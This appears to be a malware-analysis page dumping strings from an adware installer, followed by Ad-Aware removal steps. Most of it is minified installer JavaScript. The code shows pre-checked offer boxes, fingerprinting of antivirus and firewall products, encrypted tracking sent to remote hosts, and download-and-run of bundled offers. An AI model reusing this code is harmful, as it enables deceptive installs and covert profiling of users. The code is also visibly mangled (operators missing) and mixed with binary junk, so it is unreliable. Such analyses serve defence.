json=[{text:"#_OfferAcceptText",element:"#_Bnext"},{text:"#_OfferDeclineText",element:"#_Bdecline"},{text:"#_OfferExitText",element:"#_Bexit"},{text:"#_OfferSkipText",element:"#_Bomit"}];setText(json)}function setText(json){var setText=function(elementWithText,element){if(!element){addLog("noelement");return}if(elementWithText.html()){addLog("element->" elementWithText.html());element.val(elementWithText.html())}else{addLog("noelement->" element.attr("defaultText"));element.val(element.attr("defaultText"))}};$.each(json,function(key,element){setText($(element.text),$(element.element))})}function replaceResponse(data,installerData,dataObject,buttonText,hostName){hostName=hostName||"hXXp://" installerData.extra.requestHost "/";data=data.replace(/%osname%/g,machineInfo.osname);data=data.replace(/%ub%/g,installerData.usedBrowser);data=data.replace(/%buttonText%/g,buttonText);data=data.replace(/%uid%/g,installerData.uid);data=data.replace(/%downloadDomain%/g,installerData.host);data=data.replace(/%mapp%/g,dataObject.presentation.formCaption);data=data.replace(/¯fcode%/g,installerData.publisher);data=data.replace(/Ìode%/g,dataObject.country.toLowerCase());data=data.replace(/%crossDomain%/g,hostName);return data}function addStyle(style,removable){if(typeof removable==="undefined"){removable=false}$("head").append($("<link />",{rel:"stylesheet",href:style,tag:removable,type:"text/css"}))}function removePreviousStyles(){$("link").each(function(){if($(this).attr("tag")=="true"){$(this).remove()}})}function createFrame(src,style,failCallback,callback){removePreviousStyles();if(style&&style!=""){addStyle(style,true)}getResponseFromWrapper(src,"",callback,failCallback)}function loadProfile(src,style,failCallback,callback){addStyle(style);getResponseFromWrapper(src,"",callback,failCallback)}function returnIdValue(identifier){var text=null;if($(identifier)){text=$(identifier).html()}return text}function SetLink(classname,value,onParent){var element=$("." classname);var tohide;if(onParent){tohide=element.parent()}else{tohide=element}if(value&&element){try{element.attr("href",value);tohide.show()}catch(err){}}else{try{tohide.hide()}catch(err){}}}function buttonsVisibility(showIds){var ButtonsListIds=["_Bnext","_Bdecline","_Bomit","_Bexit"];for(var i=0;i<ButtonsListIds.length;i ){if($.inArray(ButtonsListIds[i],showIds)>-1){$("#" ButtonsListIds[i]).show()}else{$("#" ButtonsListIds[i]).hide()}}var ButtonListShoes=["_Bminimize","_Bmaximize","_Bclose"];for(var a=0;a<ButtonListShoes.length;a ){if($.inArray(ButtonListShoes[a],showIds)>-1){disableControlBoxButtons(a,true)}else{disableControlBoxButtons(a,false)}}}function changeClassContentWaiting(key,value,append,callback){var maxTimes=5;var interval=setInterval(function(){if(key!=""&&$("." key).length){$("." key).each(function(){updateValue($(this),value,append)});if(typeof callback!=="undefined"){callback()}clearInterval(interval)}else{maxTimes--;if(maxTimes<=0){if(typeof callback!=="undefined"){callback()}clearInterval(interval)}}},50)}function updateValue(element,value,append){if(element.is("input")){element.val(value)}else{if(append){element.append(value)}else{element.html(value)}}}function hideClasses(classes){for(var i=0;i<classes.length;i ){var element=$("." classes[i]);element.hide()}}function changeRecomended(checked){if(checked=="1"){$("._args").hide();$("._noargs").show();$("._CBarg").each(function(){$(this).prop("checked",$(this).attr("tag"))})}else{$("._args").show();$("._noargs").hide()}}function disableArgs(_checked){$("._CBarg").each(function(element){if(_checked){$(this).prop("checked",1);$(this).prop("disabled",0)}else{$(this).prop("checked",0);$(this).prop("disabled",1)}})}function addDecline(text,disable,callback,tag){var dis="";if(disable){dis="onclick='disableArgs(this.checked)'"}var cb="<span><input class='_CBdecline' type='checkbox' checked='checked' tag='" tag "' " dis " /> " text "</span>";changeClassContentWaiting("_args",cb,true,callback)}function addArg(text,check,uncheck,startState,classname,callback){if(typeof classname==="undefined"||classname==""){classname="_args"}if($("." classname).length<1){classname="_args"}var cb="<span><input class='_CBarg' type='checkbox' tag='" startState "' checked='" startState "' check='" check "' uncheck='" uncheck "' /> " text "</span>";changeClassContentWaiting(classname,cb,true,callback)}function GetCommandline(commandline,delimitator){if(typeof delimitator==="undefined"){delimitator=" "}var commandlineAppend="";$("._CBarg").each(function(){if(this.checked=="1"&&$(this).attr("check")!=""){commandlineAppend =$(this).attr("check") delimitator}else{if(this.checked=="0"&&$(this).attr("uncheck")!=""){commandlineAppend =$(this).attr("uncheck") delimitator}}});if(commandlineAppend.slice(-1)===delimitator){commandlineAppend=commandlineAppend.slice(0,-1)}if(commandline.indexOf("%args%")!=-1){commandline=commandline.replace(/%args%/g,commandlineAppend)}else{commandline=commandline delimitator commandlineAppend}return commandline}function GetAccepted(argsdecline){var accepted=true;if($("._CBdecline").length>0){accepted=$("._CBdecline").is(":checked")}if(accepted==true&&argsdecline==true){accepted=($("._CBarg:checked").length>0||$("._CBarg").length<1)}return accepted}function setFocus(focusValue,classname){if(focusValue){$("." classname).focus()}else{$("." classname).blur()}}function ChangeVisibility(showClassName,hideClassName){if(showClassName){$("." showClassName).show()}if(hideClassName){$("." hideClassName).hide()}}function humanReadableFileSize(size){var i=Math.floor(Math.log(size)/Math.log(1024));return(size/Math.pow(1024,i)).toFixed(2)*1 " " ["B","kB","MB","GB","TB"][i]}function addFinishItem(name,uninstallUrl,classname){var item="<li class='_FinishItem'>";item =name;if(uninstallUrl&&uninstallUrl!=""){item =" <a href='" uninstallUrl "' class='_FinishUninstallUrl' > </a>"}item ="</li>";$("." classname).append(item)}function replaceLinks(){try{addLog("changing");$("a").each(function(index,value){var href=value.href;var new_element=document.createElement("span");new_element.innerText=value.innerText;for(var i=0;i<value.attributes.length;i ){var att=value.attributes.item(i);if(att.nodeValue&&att.nodeName!="href"&&att.nodeName!="target"){new_element.setAttribute(att.nodeName,att.nodeValue)}}$(new_element).addClass("_transformed");new_element.style.textDecoration="underline";new_element.style.cursor="pointer";if($.inArray(value.className,specialLinks)==-1){new_element.style.color="blue"}new_element.onclick=function(){openUrlOnDefaultBrowser(href);return false};value.parentNode.replaceChild(new_element,value)})}catch(err){}}function showProfile(){addTrace("showProfile");loadProfile(dataObject.presentation.renderUrl,dataObject.presentation.renderStyle,"ForceError","profileLoad");if(dataObject.presentation.mappRenderStyle&&dataObject.presentation.mappRenderStyle!=""){addStyle(dataObject.presentation.mappRenderStyle)}}function profileLoad(data){addTrace("profileLoaded");data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("._ParentContainer").html(data);addLog("profile loaded");setLinks();setButtonDefaultText([$("#_Bnext"),$("#_Bexit"),$("#_Bdecline"),$("#_Bomit")]);goForward();setWindowName(returnIdValue("#_WindowTitle")||dataObject.presentation.formCaption " setup");printStates()}function showCommon(node,callback,mappRenderId){if(typeof node!=="undefined"){if(!mappRenderId){mappRenderId=""}buttonsVisibility(node.buttons);createFrame(node.renderUrl mappRenderId,"","onDisplayFail",callback)}else{goForward()}}function welcomeScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);loading=false;loaded();replaceLinks()}function installScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(dataObject.installerBehavior.installerPopupUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.installerPopupUrl)}addUniqueTrace("CompleteLoad");setNoDisplayStates(dataObject.offers);var mappFileName=dataObject.installerBehavior.mappFileName||getFilenameFromUrl(dataObject.installerBehavior.mappUrl);var mapp=setOfferObject(-1,dataObject.installerBehavior.mappUrl,dataObject.installerBehavior.mappCommandLine,mappFileName,"MainApp",0,dataObject.installerBehavior.macBehavior);installing.push(mapp);$.each(dataObject.offers,function(key,offer){if(offer.state==ACCEPTED){var offerObject=setOfferObject(offer.id,offer.appUrl,offer.commandLine,offer.fileName,offer.name,offer.offerBehavior.waitToCheck,offer.offerBehavior.macBehavior);installing.push(offerObject)}});install(installing);if(dataObject.installerBehavior.hideOnInstall){hideForm(true,true)}loaded();replaceLinks();loading=false}function groupScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addLog("group screen loaded");setButtonsText();remainArgs=0;dataObject.installerBehavior.maxSteps--;var text="";$.each(currOffer,function(key,offer){dataObject.offers[offer].usedScreen=-1;remainArgs ;if(dataObject.offers[offer].offerPresentation.groupTextHtml){text =dataObject.offers[offer].offerPresentation.groupTextHtml " "}var groupText=returnIdValue("#_GroupItemText")||"Install " dataObject.offers[offer].caption;groupText=groupText.replace(/%offercaption%/g,dataObject.offers[offer].caption);addDecline(groupText,false,dataInjected,offer);if(dataObject.offers[offer].offerPresentation.policyUrl){var policyLink="<a href='" dataObject.offers[offer].offerPresentation.policyUrl "'>" dataObject.offers[offer].caption "</a> ";remainArgs ;changeClassContentWaiting("_GroupPolicies",policyLink,true,dataInjected)}});remainArgs ;changeClassContentWaiting("_GroupHtml",text,false,dataInjected)}function finishScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addFinishItem(dataObject.presentation.formCaption,"","_FinishMapp");$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){addFinishItem(offer.caption,offer.offerPresentation.uninstallUrl,"_FinishOffers")}});loaded();replaceLinks();loading=false}function displayLoaded(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(currOffer){addLog("display screen loaded");if(currOffer.length==1){setButtonsText();addUniqueTrace("CompleteLoad");dataObject.installerBehavior.maxSteps--;remainArgs=0;var offer=dataObject.offers[currOffer];updateValue($("._OffersShowing"),offer.caption,false);addLog("declineCheckBox -> " dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox);addLog("offer arguments->" offer.offerBehavior.offerArguments.length);addLog("argsdecline->" dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox||(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline&&offer.offerBehavior.offerArguments.length<1)){remainArgs ;var declineCheckboxText=returnIdValue("#_DeclineCheckboxText")||"Install " offer.caption;addLog(declineCheckboxText);if(declineCheckboxText!=""){addDecline(declineCheckboxText,offer.offerPresentation.declineDisableArgs,dataInjected)}else{addDecline("Install " offer.caption,offer.offerPresentation.declineDisableArgs,dataInjected)}}remainArgs =offer.offerBehavior.offerArguments.length;$.each(offer.offerBehavior.offerArguments,function(i,value){addArg(value.text,value.check,value.uncheck,value.startChecked,value.className,dataInjected)});if(offer.offerPresentation.policyUrl!=""){SetLink("_OfferPolicy",offer.offerPresentation.policyUrl,false)}var ButtonsArray=[].concat(dataObject.presentation.offerScreenButtons);if(dataObject.presentation.offerScreens[currentOfferScreen].declineButton){ButtonsArray.push("_Bdecline")}buttonsVisibility(ButtonsArray);setFocus(!offer.offerBehavior.ignoreEnter,"_Bnext");SetLink("_UninstallUrl",offer.offerPresentation.uninstallUrl,false);remainArgs ;dataInjected()}}else{loaded();loading=false;replaceLinks()}}var remainArgs=0;function dataInjected(){try{remainArgs--;if(remainArgs<=0){loading=false;loaded();addLog("loading set to false");replaceLinks()}}catch(err){loading=false}}var interruptor=true;var interactions=0;var acceptedRestrictions=[];var testingCombinationsId=[];var testingCombination=[-1];var maxCombination=combination();var firstCombination=[];var allOffers={};var callbackFunction;var first;function setLoopTimeout(milliseconds){setTimeout(function(){interruptor=false},milliseconds)}function startGettingNextOffer(offers,maxSteps,hasGroup,callback){printClearCombination();interactions=0;allOffers=offers;testingCombination=[-1];callbackFunction=callback;maxCombination=combination();interruptor=true;firstCombination=[];first=true;var cleanOffers=getPendingOffers(offers,hasGroup);cleanOffers.sort(compareScore);setLoopTimeout(300);recurseveMethod(cleanOffers,maxSteps)}function getPendingOffers(offers,hasGroup){var cleanOffers=[];for(var i=0;i<offers.length;i ){offers[i].offerPresentation.canGroup=(offers[i].offerPresentation.canGroup&&hasGroup)==true;if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&offers[i].offerBehavior.showDisplay){cleanOffers.push(offers[i])}}return cleanOffers}function recurseveMethod(offers,maxSteps){setTimeout(function(){if(interruptor||first===true){first=false;var currentCombination=getCombination(offers,maxSteps);printCombination(currentCombination.offers,currentCombination.score);if(!firstCombination.length){for(var i=0;i<currentCombination.offers.length;i ){for(var a=0;a<currentCombination.offers[i].length;a ){firstCombination.push(currentCombination.offers[i][a])}}}if(currentCombination.score>=maxCombination.score){maxCombination=currentCombination}interactions ;recurseveMethod(offers,maxSteps);testingCombinationsId=GetRestrictionsRecursive(interactions,firstCombination.length,firstCombination)}else{if(maxCombination.offers.length==0){callbackFunction(null);return}var ids=[];for(var x=0;x<maxCombination.offers[0].length;x ){ids.push(idToIndex(maxCombination.offers[0][x]))}callbackFunction(ids)}},0)}function getCombination(offers,maxSteps){var currentCombination=combination();for(var i=0;i<maxSteps;i ){var currStep=nextOffersWithGroup(offers,currentCombination.restrictions);if(!currStep||!currStep.offers.length){break}currentCombination.restrictions=currentCombination.restrictions.concat(currStep.restrictions);currentCombination.score =currStep.score;currentCombination.offers.push(currStep.offers)}return currentCombination}function nextOffersWithGroup(offers,currRestrictions){interruptor=true;var singleCombination=combination();var groupCombination=combination();for(var i=0;i<offers.length;i ){var offer=offers[i];if($.inArray(offer.id,currRestrictions)==-1&&$.inArray(offer.id,testingCombinationsId)==-1){if(singleCombination.offers.length==0){singleCombination.offers=[offer.id];singleCombination.restrictions=offer.offerBehavior.restrictions;singleCombination.restrictions.push(offer.id);singleCombination.score=offer.score}if(offer.offerPresentation.canGroup&&$.inArray(offer.id,groupCombination.restrictions)==-1){groupCombination.restrictions=groupCombination.restrictions.concat(offer.offerBehavior.restrictions);groupCombination.restrictions.push(offer.id);groupCombination.score =offer.score;groupCombination.offers.push(offer.id)}}}if(groupCombination.score===-1&&singleCombination.score===-1){return null}else{if(groupCombination.score>singleCombination.score){return groupCombination}else{return singleCombination}}}function combination(){var newcombination={};newcombination.offers=[];newcombination.restrictions=[];newcombination.score=-1;return newcombination}function compareScore(a,b){if(a.score<b.score){return 1}if(a.score>b.score){return -1}return 0}function idToIndex(id){for(var i=0;i<allOffers.length;i ){if(allOffers[i].id==id){return i}}return null}function GetRestrictionsRecursive(steps,maxSteps,offers){var currentSearchValue=0;maxSteps=maxSteps-1;if(testingCombination[testingCombination.length-1]==maxSteps){var incremented=false;for(var i=testingCombination.length-1;i>=0;i--){if(testingCombination[i]>=maxSteps-1){var nexValue=0;if(testingCombination[i-1]<maxSteps-1){nexValue=testingCombination[i-1] 1}testingCombination[i]=nexValue}else{testingCombination[i] ;incremented=true;break}}if(incremented==false){testingCombination.push(0)}}else{testingCombination[testingCombination.length-1] }bloquedIds=[];for(var a=0;a<testingCombination.length;a ){if(offers[testingCombination[a]]){bloquedIds.push(offers[testingCombination[a]])}}return bloquedIds}var completedTrack=false;var TrackRetrys=0;function GenerateTrackBoby(dataObject,installerData,wasSkipAll){var trackObj={};trackObj.offers=GetOffersReport(dataObject.offers);trackObj.checkMachineInfo=GetmachineReport();trackObj.internal=GetInternalReport(dataObject.countryId,wasSkipAll,installerData.campaign,installerData.publisher,dataObject.presentation.formCaption,installerData.uid);trackObj.extra=installerData.extra;trackObj.finish=boolToInt(finished);trackObj.exeId=executionID;var content=JSON.stringify(trackObj);return cryptString(16,32,"CBC",content)}function boolToInt(value){if(value){return 1}else{return 0}}function GetmachineReport(){var machineReport={};machineReport.OS="MP_" machineInfo.os;machineReport.SP="MP_" machineInfo.sp;machineReport.AR="MP_" machineInfo.ar;machineReport.NET="MP_" machineInfo.net;machineReport.UB="MP_" installerData.usedBrowser;machineReport.DB="MP_" installerData.usedBrowser;machineReport.AV="MP_" machineInfo.av;machineReport.FW="MP_" machineInfo.fw;machineReport.AS="MP_" machineInfo.as;machineReport.FAV="MP_" machineInfo.fav;machineReport.FFW="MP_" machineInfo.ffw;machineReport.FAS="MP_" machineInfo.fas;return machineReport}function GetOffersReport(offersArray){var OffersReport=[];$.each(offersArray,function(key,offer){var element={};element.id=offer.id;element.state=offer.state;element.monetizations=offer.catchallMonetizations;element.screen=offer.usedScreen;OffersReport.push(element)});return OffersReport}function GetInternalReport(country,skipall,campaign,publisher,carrier,uid){var InternalReport={};InternalReport.country=country;InternalReport.skipall=skipall;InternalReport.campaign=campaign;InternalReport.publisher=publisher;InternalReport.carrier=carrier;InternalReport.uid=uid;return InternalReport}function sendTrackException(type,xhr,state,err){sendEx(JSON.stringify(err),"",JSON.stringify(state),type,JSON.stringify(xhr))}function track(callback,failCallback){if(completedTrack||(!finished&&dataObject.installerBehavior.track.type==0)){if(typeof window[callback]==="function"){addLog("trackCallback");window[callback]()}return}else{if(dataObject.installerBehavior.track.type==0){completedTrack=true}}addTrace("tracking");addLog("Tracked");var postData=GenerateTrackBoby(dataObject,installerData,wasSkipAll);var trackUrl=cryptUrl(TRACKURL);addLog(trackUrl);getResponseFromWrapper(trackUrl,"data=" postData,callback,failCallback);printStates()}function hexToString(hexx){var hex=hexx.toString();var str="";for(var i=0;i<hex.length;i =2){str =String.fromCharCode(parseInt(hex.substr(i,2),16))}return str}function stringToHex(string){var hex="";for(var i=0;i<string.length;i ){hex ="" string.charCodeAt(i).toString(16)}return hex}function cryptUrl(url){var urlParsed=parseURL(url);var domain=urlParsed.protocol "://" urlParsed.domain;var path=urlParsed.path;addLog(path);return domain "/" cryptString(16,32,"CBC",path)}function genPassword(length){var password="";var possible="abcdef0123456789";for(var i=0;i<length;i ){password =possible.charAt(Math.floor(Math.random()*possible.length))}return password}function parseURL(url){parsed_url={};if(url==null||url.length==0){return parsed_url}protocol_i=url.indexOf("://");parsed_url.protocol=url.substr(0,protocol_i);remaining_url=url.substr(protocol_i 3,url.length);domain_i=remaining_url.indexOf("/");domain_i=domain_i==-1?remaining_url.length-1:domain_i;parsed_url.domain=remaining_url.substr(0,domain_i);parsed_url.path=domain_i==-1||domain_i 1==remaining_url.length?null:remaining_url.substr(domain_i 1,remaining_url.length);domain_parts=parsed_url.domain.split(".");switch(domain_parts.length){case 2:parsed_url.subdomain=null;parsed_url.host=domain_parts[0];parsed_url.tld=domain_parts[1];break;case 3:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2];break;case 4:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2] "." domain_parts[3];break}parsed_url.parent_domain=parsed_url.host "." parsed_url.tld;return parsed_url}function getFilenameFromUrl(url){var url=url.substr(1 url.lastIndexOf("/")).split("?")[0];if(url.indexOf(".")>0){return url}else{if(url.indexOf(".")>-1){return"mainapp" url}else{return"mainapp.exe"}}}function cryptString(ivLength,passLength,mode,text){var key=CryptoJS.enc.Hex.parse(genPassword(passLength));var iv=CryptoJS.enc.Hex.parse(genPassword(ivLength));var encrypted=CryptoJS.AES.encrypt(text,key,{iv:iv,mode:CryptoJS.mode[mode]});var crypt=encrypted.ciphertext.toString(CryptoJS.enc.Hex);iv=encrypted.iv.toString(CryptoJS.enc.Hex);var psw=encrypted.key.toString(CryptoJS.enc.Hex);return iv psw crypt}function deCryptString(ivLength,passLength,mode,data){try{var iv=CryptoJS.enc.Hex.parse(data.substring(0,ivLength));var key=CryptoJS.enc.Hex.parse(data.substring(ivLength,ivLength passLength));cipher=CryptoJS.lib.CipherParams.create({ciphertext:CryptoJS.enc.Hex.parse(data.substring(ivLength passLength))});var result=CryptoJS.AES.decrypt(cipher,key,{iv:iv,mode:CryptoJS.mode[mode]});return CryptoJS.enc.Utf8.stringify(result)}catch(error){return null}}var traceVersion="1.5.7";function addTrace(step){try{var reportUrl="hXXp://" installerData.extra.requestHost "/?trace" traceVersion "=" step;getResponseFromWrapper(reportUrl,"","","")}catch(ex){}}function addSpeficicTrace(step){}var tracedList=[];function addUniqueTrace(step){if($.inArray(step,tracedList)==-1){tracedList.push(step);addTrace(step)}}function thirdPartyError(msg,url,lno){var method="";try{method=arguments.callee.caller.toString()}catch(err){}if(url.indexOf("?trace" traceVersion)>-1){return true}sendEx("third party " msg,url,lno,method||"");return true}function ForceError(msg,url,lno,extra){var method="";try{method=arguments.callee.caller.toString()}catch(err){}sendEx(msg||"",url||"",lno||0,method||"",extra||"");try{onException(msg)}catch(err){}return true}function sendEx(msg,url,lno,method,extra){try{var ex={};ex.msg=msg;ex.url=url;ex.lno=lno;ex.xtra=extra||"";ex.method=method;ex.version=traceVersion;try{ex.av=machineInfo.av;ex.fw=machineInfo.fw;ex.as=machineInfo.as}catch(err){}var reportUrl="hXXp://" installerData.extra.requestHost "/__dmp__/";addLog(JSON.stringify(ex));getResponseFromWrapper(reportUrl,"data=" JSON.stringify(ex),"","")}catch(error){}}function Run(data,macInfo){addTrace("Run");window.onerror=thirdPartyError;try{if(window.external&&("externalTrace" in window.external)){window.external.externalTrace("postindex")}}catch(err){sendEx(JSON.stringify(err),url,lno,"externalTrace",extra)}addTrace("GetInternalData");machineInfo=JSON.parse(macInfo);getData(data)};4!%s)
w.AOd(
r].oz~
-v..vw// !
8~<310.*&-
8~<310. -
8~<310. .-
?=<3213-
'$&$ .,,-#
(CS`)?Nj(>Lp(>LuŸx
4L4K4[4`4
5)5?5[5}5
1%1u1}1
1 1 1\1;3
6b6U6
6!7)707:7
3#3)3/3:4]4
.04080<0@0
7 7$7(7,7
1$1,181`1
:,:8:@:`:
< <<<@<`<
= =<=@=`=|=
? ?@?`?|?
data.exe
1.7.22
stan.mxp30.com
addLog..Tracked
checkRegkKey
nreportException
ereportTrace
Url different :
ur.IsEmpty
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<META HTTP-EQUIV="Pragma" CONTENT="no-cache" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="hXXp://VVV.w3.org/1999/xhtml">
/__mp__/indexClean.html
/stan.mxp108.com
E_OUTOFMEMORY FAIL URLDownloadToFile
INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile
SUCCEEDED URLDownloadToFile
SUCCEEDED default URLDownloadToFile
default URLDownloadToFile
RhXXps://
%DownloadFile
Error internal ShellExecuteEx
Not Exist File ShellExecuteEx
Error ShellExecuteEx
Not exe and not msi
Iexe
XDocHostUIHandler::GetOptionKeyPath
XDocHostUIHandler::TranslateUrl
errorUrl
XOleCommandTarget::Exec
","codeErrorMsg":"
","url":"
{"msg":"addLog..onExit
api-JSON.parse
{"msg":";GetPathExe
Resolving name %s
Name resolved %s
Unknown status: %d
CInternet error %d
WinINet.dll
SELECT * FROM Win32_OperatingSystem
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
kernel32.dll
%s%s.dll
B%s (%s:%d)
%s (%s:%d)
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
@f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Ccomctl32.dll
Ccomdlg32.dll
Cshell32.dll
Cf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
@WININET.DLL
DHTTP/1.0
Df:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
D.INI
user32.dll
mscoree.dll
KERNEL32.DLL
c:\%original file name%.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1936
- Delete the original Application file.
- Delete or disinfect the following files created/modified by the Application:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (228 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (222 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.